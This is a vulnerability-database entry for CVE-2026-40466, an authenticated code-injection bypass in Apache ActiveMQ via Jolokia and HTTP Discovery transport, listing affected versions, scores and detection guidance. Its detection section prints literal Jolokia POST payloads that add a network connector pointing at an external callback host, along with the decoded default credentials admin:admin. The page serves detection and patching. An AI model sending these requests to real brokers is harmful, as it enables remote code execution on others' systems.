cbcvebase.
CVE-2026-40466
published 2026-04-24

CVE-2026-40466: Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache…

PriorityP179high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
4.78%
90.9th percentile
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath. A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5. Users are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue.

Affected

4 ranges
VendorProductVersion rangeFixed in
apacheactivemq< 5.19.65.19.6
apacheactivemq>= 6.0.0 < 6.2.56.2.5
apacheactivemq_broker< 5.19.65.19.6
apacheactivemq_broker>= 6.0.0 < 6.2.56.2.5

Detection & IOCsextracted from sources · hover to see the quote

url/api/jolokia/
commandPOST /api/jolokia/ {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["http://{{interactsh-url}}/discovery"]}
commandPOST /api/jolokia/ {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}
path/api/jolokia/
  • Detect exploitation attempts by monitoring POST requests to /api/jolokia/ invoking addNetworkConnector or addConnector with an HTTP-scheme URI argument (e.g. http://attacker/discovery), which is the bypass vector for CVE-2026-34197's vm:// block.
  • Alert on Jolokia exec operations targeting the mbean org.apache.activemq:type=Broker,brokerName=localhost with operations addNetworkConnector or addConnector containing external HTTP URLs in arguments.
  • Monitor for outbound HTTP requests from the ActiveMQ broker JVM to external hosts, especially those returning vm:// URIs, which indicates second-stage transport hijacking.
  • Detect loading of remote Spring XML application contexts (ResourceXmlApplicationContext) from the broker process, which is the mechanism for arbitrary code execution via bean factory methods such as Runtime.exec().
  • Flag presence of activemq-http module on the classpath as a prerequisite risk indicator; this module is included by default in the 'all' distribution and enables the HTTP Discovery transport attack path.
  • ·Exploitation requires authenticated access to the Jolokia API; the default credential base64 'YWRtaW46YWRtaW4=' decodes to admin:admin, indicating default credentials are a prerequisite risk factor.
  • ·The activemq-http module must be present on the classpath for the HTTP Discovery transport bypass to work; it is included by default in the 'all' distribution but may not be present in minimal deployments.
  • ·This CVE is a bypass of the prior fix for CVE-2026-34197; the original fix only denied the 'vm' scheme in BrokerView.addNetworkConnector/addConnector, leaving HTTP Discovery transport unblocked.
  • ·Red Hat JBoss EAP 7 is listed as 'Will not fix', meaning patching may not be available for that platform; detection and compensating controls are especially important there.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ghsa8.8HIGH
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.